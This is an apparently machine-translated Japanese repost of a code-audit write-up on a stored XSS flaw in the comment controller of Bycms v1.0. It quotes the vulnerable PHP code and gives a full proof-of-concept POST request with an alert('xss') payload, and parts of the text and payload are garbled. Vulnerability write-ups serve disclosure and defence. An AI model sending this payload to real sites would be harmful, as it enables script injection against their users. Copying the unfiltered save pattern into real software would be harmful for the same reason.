ホームページ  >  記事  >  バックエンド開発  >  Bycms v1.0 に保存された XSS

Bycms v1.0 に保存された XSS

炎欲天舞
炎欲天舞オリジナル
2017-08-21 10:21:121778ブラウズ

0x00 はじめに:

ホームページ上でローカルに環境を構築するために、Windows の PHPstudy 統合環境を使用します。とても使いやすいです。特に監査中はそうです。 PHPのバージョンは任意に切り替えることができます。

0x01 CMS の概要:

byCms は、開発者を支援するように設計された、thinkphp5.0.9 に基づく、記事、写真、ダウンロード、ビデオ モデルを含む、シンプルで使いやすいコンテンツ管理システムです。 Web アプリケーションの費用を節約する バックエンドの開発時間とエネルギーは、高品質の Web アプリケーションをできるだけ早く開発するために費やされます。 PC、携帯電話、WeChat、Androidアプリ、Appleアプリを含む、多端末データ同期!
主な機能: tp5.0.9 に基づいており、5.0.10 にシームレスにアップグレードでき、PSR-2、PSR-4 仕様に従い、コンポーザーと単体テスト、非常に厳格なエラー検出とセキュリティ メカニズム、開発保護のための詳細なログ情報を備えています。 ; コアの依存関係を削減し、拡張をより柔軟かつ便利にし、優れたパフォーマンスと REST サポートをサポートし、API 開発の遅延サポートを強化し、ルーティング、構成、および自動ロードのためのキャッシュ メカニズムをサポートします。モデルと協会。

0x02 テキスト:

まず、ディレクトリ構造を見てみましょう。

まず Index.php を開いて見てみましょう。下の図を見ると、プログラム ディレクトリが次であることがわかります: application

フロントエンド テンプレートを見てみましょう

8 つのコントローラーがあることがわかります。各コントローラーは機能モジュールを表します。

脆弱性の箇所(コメント機能コントローラ):/bycms/application/index/controller/Comment.php

脆弱性が存在する行数:24行


<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
class Comment extends Home{
    
    
    public function add($id=""){  
        if(!is_login()){
            $this->error("请先登录");
        }
       $id=input(&#39;doc_id&#39;);     
        if(!($id && is_numeric($id))){
           $this->error(&#39;ID错误!&#39;);
        }else{
           $where["id"]=$id;
        }
        $info= Db::name(&#39;document&#39;)->where($where)->find();
        if(!$info){
            $this->error(&#39;文章不存在!&#39;);
        } 
         if($_POST){
           $Comment = new \app\index\model\Comment;
           $res=$Comment->validate(true)->allowField(true)->save($_POST);
           if($res){
               Db::name(&#39;document&#39;)->where($where)->setInc("comments");
              $this->success("发布成功!");
           }else{
              $error=$Comment->getError()?$Comment->getError():"发布失败!";
              $this->error($error);
           } 
      }
    }

できる限り上記のコードの行 22 ~ 27 を参照してください。このコード部分。中国語でのおおよその意味は次のとおりです:

まず、$_POST にデータが受信されているかどうかを確認します。次に、24行目のsaveメソッドで、$_POSTで渡されたcontentパラメータのデータをデータベースに直接書き込みます。フィルタリングは行われていません。これにより、コード プロトタイプをデータベースに直接挿入できるようになります。

POST パケット:

POST /shenji/bycms/index.php/index/comment/add.html HTTP/1.1
ホスト: 192.168.1.111 ユーザーエージェント: Mozilla/5.0 (Windows NT 6.1; WOW64; rv :55.0 ) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
article/detail/id/93.html
Content-Length: 57
Cookie: PHPSESSID=j6cht7fitg6l4eoajtscmvth56
Connection: close

doc_id=93&content =3f1c4e4b6b16bbbd69b2ee476dc4f83aalert('xss')2cacc6d41bbb37262a98f745aa00fbf0

以上がBycms v1.0 に保存された XSSの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。